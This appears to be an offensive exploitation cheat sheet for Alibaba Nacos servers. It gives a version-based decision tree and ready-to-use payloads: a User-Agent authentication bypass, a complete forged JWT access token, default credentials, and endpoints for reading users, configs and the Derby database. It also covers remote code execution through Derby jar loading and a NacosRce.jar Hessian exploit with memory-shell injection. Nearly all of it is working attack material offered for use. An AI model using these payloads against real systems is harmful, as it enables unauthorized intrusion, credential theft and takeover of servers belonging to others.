- Product: Alibaba Nacos | Default port: 8848 (HTTP), 7848 (JRaft) | Default credentials: nacos/nacos
- Identification:
/nacos/v1/console/server/statereturns version information
In-depth reference
- CVE vulnerability exploitation detailed steps (CVE-2021-29441/29442, JWT bypass, detection script, Nuclei template) --> references/cve-exploits.md
- Post-exploitation and persistence (Derby RCE, Hessian deserialization, comprehensive detection script) --> references/post-exploit.md
Vulnerability overview
| Vulnerability ID | Affected versions | Type | Impact |
|---|---|---|---|
| CVE-2021-29441 | <1.4.1 | User-Agent authentication bypass | Critical |
| CVE-2021-29442 | <1.4.1 | Derby SQL unauthorized | High |
| QVD-2023-1655789 | <2.2.0 | JWT default key bypass | Critical |
| QVD-2024-26473 | <=2.3.2 | Derby race condition RCE | Critical |
| QVD-2023-13065 | <=2.2.2 | Hessian deserialization RCE | Critical |
Exploitation decision tree
1. GET /nacos/v1/console/server/state --> 获取版本
|
+-- < 1.4.1 --> CVE-2021-29441 (UA绕过) + CVE-2021-29442 (Derby SQL)
+-- < 2.2.0 --> JWT默认密钥绕过 --> 详细 payload --> references/cve-exploits.md
+-- <= 2.2.2 --> JRaft Hessian RCE (端口7848) --> references/post-exploit.md
+-- <= 2.3.2 --> Derby条件竞争RCE (需认证绕过) --> references/post-exploit.md
Phase summary
Phase 1 - Authentication bypass (detailed payload --> references/cve-exploits.md)
- UA bypass:
User-Agent: Nacos-Serveradd request header - JWT bypass:
accessToken=eyJhbGci...76gappend to request parameters - Default credentials:
nacos/nacoslogin
Phase 2 - Information gathering (detailed payload --> references/cve-exploits.md)
- Read configuration:
GET /nacos/v1/cs/configs?search=blur&... - User list:
GET /nacos/v1/auth/users?pageNo=1&pageSize=10 - Derby query:
GET /nacos/v1/cs/ops/derby?sql=select * from users
Phase 3 - RCE (detailed payload --> references/post-exploit.md)
- Derby RCE:
sqlj.install_jar--> create function --> execute command (requires VPS-hosted jar) - Hessian RCE:
java -jar NacosRce.jar <target> 7848 "<cmd>" - Memory shell: NacosRce.jar supports Behinder/Godzilla/CMD memory shell injection
Tool quick reference
| Endpoint | Method | Purpose |
|---|---|---|
/nacos/v1/console/server/state |
GET | Get version |
/nacos/v1/auth/users |
GET | User list |
/nacos/v1/cs/configs |
GET/POST | Configuration management |
/nacos/v1/cs/ops/derby |
GET | Derby SQL query |
/nacos/v1/cs/ops/data/removal |
POST | Derby data manipulation |
:7848 |
TCP | JRaft Hessian communication |
Authentication bypass quick reference
| Method | Applicable versions | Key Payload |
|---|---|---|
| User-Agent | <1.4.1 | User-Agent: Nacos-Server |
| JWT default Token | <2.2.0 | accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g |
| Default credentials | All versions | nacos/nacos |